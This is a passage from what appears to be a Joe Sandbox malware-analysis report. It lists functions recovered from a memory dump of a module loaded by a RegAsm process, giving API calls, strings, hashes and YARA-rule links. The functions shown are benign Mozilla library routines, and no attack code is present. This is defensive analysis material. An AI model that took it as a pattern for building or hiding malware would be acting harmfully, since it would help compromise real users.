Instruction Fuzzy Hash: FF110236302285AFDB04AF58C8489E97779FF8A76DB100465EA0683F41CB35AD21CBA1

Function 6CB52070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

LoadLibraryW.KERNEL32(combase.dll,6CB51C5F), ref: 6CB520AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CB520CD
__Init_thread_footer.LIBCMT ref: 6CB520E1
FreeLibrary.KERNEL32 ref: 6CB52124

Strings

CoInitializeSecurity, xrefs: 6CB520C7
combase.dll, xrefs: 6CB520A9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: 5d858a79e37a47d49a248db6dcb282d0025db5ca28d03aa99023982ca5acbe49
Instruction ID: f8e3c7091142a40675b7f0144f9fb2125d6a08524421aab41a3810981f532957
Opcode Fuzzy Hash: 5d858a79e37a47d49a248db6dcb282d0025db5ca28d03aa99023982ca5acbe49
Instruction Fuzzy Hash: 5521457A202289ABDF118F94DC89E9A3B7AFB4E325F004018FA1493610D7319961CFA2

Function 6CB899A0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB899C1
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB899CE
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB899F8
GetCurrentThreadId.KERNEL32 ref: 6CB89A05
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB89A0D

Part of subcall function 6CB89A60: GetCurrentThreadId.KERNEL32 ref: 6CB89A95
Part of subcall function 6CB89A60: _getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB89A9D
Part of subcall function 6CB89A60: ?profiler_time@baseprofiler@mozilla@@YANXZ.MOZGLUE ref: 6CB89ACC
Part of subcall function 6CB89A60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CB89BA7
Part of subcall function 6CB89A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000), ref: 6CB89BB8
Part of subcall function 6CB89A60: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000000,00000000), ref: 6CB89BC9

Part of subcall function 6CB7CBE8: GetCurrentProcess.KERNEL32(?,6CB431A7), ref: 6CB7CBF1
Part of subcall function 6CB7CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CB431A7), ref: 6CB7CBFA

Strings

[I %d/%d] profiler_stream_json_for_this_process, xrefs: 6CB89A15

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Current$ThreadTimegetenv$ExclusiveLockProcessStampV01@@Value@mozilla@@_getpid$?profiler_time@baseprofiler@mozilla@@AcquireInit_thread_footerNow@ReleaseStamp@mozilla@@TerminateV12@_
String ID: [I %d/%d] profiler_stream_json_for_this_process
API String ID: 2359002670-141131661
Opcode ID: bf606afebf1c09bcd6ba6aee56cc0acb7ffafef8ff44b38fad55a2807277c6be
Instruction ID: 3a7cae420d84bd6251513c24c24dc164ecff9e965b9ca53cb461ad529990665f
Opcode Fuzzy Hash: bf606afebf1c09bcd6ba6aee56cc0acb7ffafef8ff44b38fad55a2807277c6be
Instruction Fuzzy Hash: A701D236F051A59BEF106F65D8186BD3B78EB4A669F044056FD0693B41C7784A04CBB2

Function 6CB51FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6CB51FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6CB51FFD
__Init_thread_footer.LIBCMT ref: 6CB52011
FreeLibrary.KERNEL32 ref: 6CB52059

Strings

CoCreateInstance, xrefs: 6CB51FF7
combase.dll, xrefs: 6CB51FD9

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: a39b9dbae5ba0fe76c37d450b06d4232b19c9d376f58be6d1459594286659f7c
Instruction ID: 4de1c029904a1865cf6576b2c800fb0563cb90278b6ec44a359ef6bde4e6459f
Opcode Fuzzy Hash: a39b9dbae5ba0fe76c37d450b06d4232b19c9d376f58be6d1459594286659f7c
Instruction Fuzzy Hash: 99116D79602285AFDF209F54C84AE5A3F79EB4A365F044069EE1493640C730AA10CFA2

Function 6CB50EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6CB7D9F0,00000000), ref: 6CB50F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6CB50F3C
__Init_thread_footer.LIBCMT ref: 6CB50F50
FreeLibrary.KERNEL32(?,6CB7D9F0,00000000), ref: 6CB50F86

Strings

CoInitializeEx, xrefs: 6CB50F36
combase.dll, xrefs: 6CB50F18

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: aeeba28b5c9b10c95b7289c284dec53a6be4caafb70377608242f38b0090c7e9
Instruction ID: ebce63f7fdbfb83d15f6ca6238791de48070a1b6e7b110fdba11c0e80e9b87f1
Opcode Fuzzy Hash: aeeba28b5c9b10c95b7289c284dec53a6be4caafb70377608242f38b0090c7e9
Instruction Fuzzy Hash: BD11AC793052C19BDF00DF68D908A4A37B8EB8E32BF404669EA0593740D731EA01CA66

Function 6CB562E0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB7AB89: EnterCriticalSection.KERNEL32(6CBCE370,?,?,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284), ref: 6CB7AB94
Part of subcall function 6CB7AB89: LeaveCriticalSection.KERNEL32(6CBCE370,?,6CB434DE,6CBCF6CC,?,?,?,?,?,?,?,6CB43284,?,?,6CB656F6), ref: 6CB7ABD1

LoadLibraryW.KERNEL32(combase.dll), ref: 6CB5631B
GetProcAddress.KERNEL32(00000000,CoUninitialize), ref: 6CB5633A
__Init_thread_footer.LIBCMT ref: 6CB5634E
FreeLibrary.KERNEL32 ref: 6CB56376

Strings

CoUninitialize, xrefs: 6CB56334
combase.dll, xrefs: 6CB56316

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoUninitialize$combase.dll
API String ID: 4190559335-3846590027
Opcode ID: c4b45596f3c3f65a8cebcbfd500f9e30d2824186e3deae6d847a5d0f0b163c40
Instruction ID: 808c4e5b229b2db3a0636f3d3b61d7d9aab4fca9a9cc9c006f6eb18ba92fc3b4
Opcode Fuzzy Hash: c4b45596f3c3f65a8cebcbfd500f9e30d2824186e3deae6d847a5d0f0b163c40
Instruction Fuzzy Hash: 44014C75705282CBDF00DF68D558B5973B0E70E225F0045A9DA11C3B80E730AA55CF56

Function 6CB8F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CB8F561

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8F577
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F585
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8), ref: 6CB8F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6CB8F499
[I %d/%d] profiler_resume, xrefs: 6CB8F239
[I %d/%d] profiler_pause_sampling, xrefs: 6CB8F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6CB8F56A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: ba4803c62a7fc05b4b3661d93c9a0baeb3f0696b4dcc52e2798c8e8331adbd8b
Instruction ID: db3aa774b8e96c2e31d0faaabf2028513551094079fdc02d4024b505ded3b98a
Opcode Fuzzy Hash: ba4803c62a7fc05b4b3661d93c9a0baeb3f0696b4dcc52e2798c8e8331adbd8b
Instruction Fuzzy Hash: 38F0E9767012409FEF006F64D8489AE777CEB8E6ADF000451FA0683702CB354D008B61

Function 6CB8F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CB54A68), ref: 6CB8945E
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CB89470
Part of subcall function 6CB89420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CB89482
Part of subcall function 6CB89420: __Init_thread_footer.LIBCMT ref: 6CB8949F

GetCurrentThreadId.KERNEL32 ref: 6CB8F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CB8F598), ref: 6CB8F621

Part of subcall function 6CB894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CB894EE
Part of subcall function 6CB894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CB89508

GetCurrentThreadId.KERNEL32 ref: 6CB8F637
AcquireSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000,?,6CB8F598), ref: 6CB8F645
ReleaseSRWLockExclusive.KERNEL32(6CBCF4B8,?,?,00000000,?,6CB8F598), ref: 6CB8F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CB8F62A

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 113c61bdcfb46bee2e499ce86e98032dfbc20eade458ca2d42c036abcebe4b3e
Instruction ID: 2309d37a4c1692001de35b6454a06ff23461fe5ab9860f9ceea8a64e3fe6bb40
Opcode Fuzzy Hash: 113c61bdcfb46bee2e499ce86e98032dfbc20eade458ca2d42c036abcebe4b3e
Instruction Fuzzy Hash: 8EF0E976700244AFEF006B64C84899E777CEB8E6ADF000451FA0683702CB354D01CB71

Function 6CB50E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6CB50DF8), ref: 6CB50E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6CB50EA1
__Init_thread_footer.LIBCMT ref: 6CB50EB5
FreeLibrary.KERNEL32 ref: 6CB50EC5

Strings

GetProcessMitigationPolicy, xrefs: 6CB50E9B
kernel32.dll, xrefs: 6CB50E7D

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 7829431b3adc0bfdf64d1ac459b1172b39b62e4947d24871f5d7678801b8b8bd
Instruction ID: d1bde0cf9385c2ee62aaa5be1320fbce2fac835f25ba42f9d7f48652fd9cef2b
Opcode Fuzzy Hash: 7829431b3adc0bfdf64d1ac459b1172b39b62e4947d24871f5d7678801b8b8bd
Instruction Fuzzy Hash: 63014B78B002C2CBDF018FE8E918A5633B5E75E718F2005A6D92183B40D734A6358A52

Function 6CB805F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CB7CFAE,?,?,?,6CB431A7), ref: 6CB805FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CB7CFAE,?,?,?,6CB431A7), ref: 6CB80616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CB431A7), ref: 6CB8061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CB431A7), ref: 6CB80627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CB8061B, 6CB80625
<jemalloc>, xrefs: 6CB805FA, 6CB8060F

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: f0841b2b97b9e760052086c612d2d1a5a76b617d152f9db47b36d939a458fe56
Instruction ID: 9a7217040a18dc436489841687e1a7099392e64a30094740a23a508b9ba080d8
Opcode Fuzzy Hash: f0841b2b97b9e760052086c612d2d1a5a76b617d152f9db47b36d939a458fe56
Instruction Fuzzy Hash: E2E08CE2A0105037F5146256AC86DBB761CDBC6134F080039FD0D93301E96AAD1A51F6

Function 6CB99240 Relevance: 9.3, APIs: 6, Instructions: 289timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB99BAE
free.MOZGLUE(?,?), ref: 6CB99BC3
free.MOZGLUE(?,?), ref: 6CB99BD9

Part of subcall function 6CB993B0: ??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6CB994C8
Part of subcall function 6CB993B0: free.MOZGLUE(6CB99281,?), ref: 6CB994DD

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 4af3bb975c839ea886930d2f11750a93a33eb346b609aec9cd00e338c92db179
Instruction ID: 63937be9722a6cce17211f3e61637c9ae022a82ac905df4de0b1af7ab9e5de79
Opcode Fuzzy Hash: 4af3bb975c839ea886930d2f11750a93a33eb346b609aec9cd00e338c92db179
Instruction Fuzzy Hash: 87B18C71E047858FCB01CF59C88059FF7F5FF8A328B148629E8599B741DB31A946CB92

Function 6CB505F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b878a5b2c08945b68512621ccba5bb1e5792117726faa96e3a28e6b7a3ade8c
Instruction ID: 0460ac6b1a4c71763531385ee6cc0474ed447eb37029ce0805ba2eb3c066e2db
Opcode Fuzzy Hash: 6b878a5b2c08945b68512621ccba5bb1e5792117726faa96e3a28e6b7a3ade8c
Instruction Fuzzy Hash: 66A14AB0A00685CFDB24CF29D594A9AFBF1FF49308F44866ED44A97B40E730AA55CF91

Function 6CB871A0 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 6CB86060: moz_xmalloc.MOZGLUE(00000024,ED59B2A4,00000000,?,00000000,?,?,6CB85FCB,6CB879A3), ref: 6CB86078

free.MOZGLUE(-00000001), ref: 6CB872F6
free.MOZGLUE(?), ref: 6CB87311

Strings

333s, xrefs: 6CB87226
333s, xrefs: 6CB8731B
Copied unique strings, xrefs: 6CB87320
Spliced unique strings, xrefs: 6CB87340

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: free$moz_xmalloc
String ID: 333s$333s$Copied unique strings$Spliced unique strings
API String ID: 3009372454-760240034
Opcode ID: f50633074d7fcc45194ebb83246083efabadc27445eef7d1f96c67343d31b693
Instruction ID: 8ecb82c0442425048f0f6fa61ae6b9bdd15dc8f32c1d209407cce1c0447f1e7f
Opcode Fuzzy Hash: f50633074d7fcc45194ebb83246083efabadc27445eef7d1f96c67343d31b693
Instruction Fuzzy Hash: 52719575F012558FCB04CF69C8906EEB7F2EF94318F298129E819B7750DB71A946CB81

Function 6CBA14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CBA14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CBA14E2
GetCurrentThreadId.KERNEL32 ref: 6CBA1546
InitializeConditionVariable.KERNEL32(?), ref: 6CBA15BA
free.MOZGLUE(?), ref: 6CBA16B4

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 58e03f25779cba53da1f7fe23c02c092cb05616d9f1297ce4c3c5f5f1c50f329
Instruction ID: a2e0f7b776cede3e80193efbb2ca55de5b76fbf7d1554b4f21be536a47bf3c58
Opcode Fuzzy Hash: 58e03f25779cba53da1f7fe23c02c092cb05616d9f1297ce4c3c5f5f1c50f329
Instruction Fuzzy Hash: 3F61DF71A04794DBDB118F64C880BDE77B4FF8A308F08851CED8A57611DB31E959CB92

Function 6CB9C160 Relevance: 9.2, APIs: 6, Instructions: 174COMMON

Download Yara Rule

APIs

fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(00000000), ref: 6CB9C1F1
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CB9C293
fgetc.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CB9C29E

Memory Dump Source

Source File: 00000003.00000002.1426482142.000000006CB41000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB40000, based on PE: true

Associated: 00000003.00000002.1426447161.000000006CB40000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426905335.000000006CBBD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426946341.000000006CBCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.1426973880.000000006CBD2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cb40000_RegAsm.jbxd

Similarity

API ID: fgetc$memcpy
String ID:
API String ID: 1522623862-0
Opcode ID: 5fda3704cca8b46c26e57376527fcdfb5f101c2c62f6408c80e1ce1d3c04eca7
Instruction ID: f7f85e91e48c2a558ce191ea53b1aede1f7b6c2ca6e34e8854279e304036ba6d
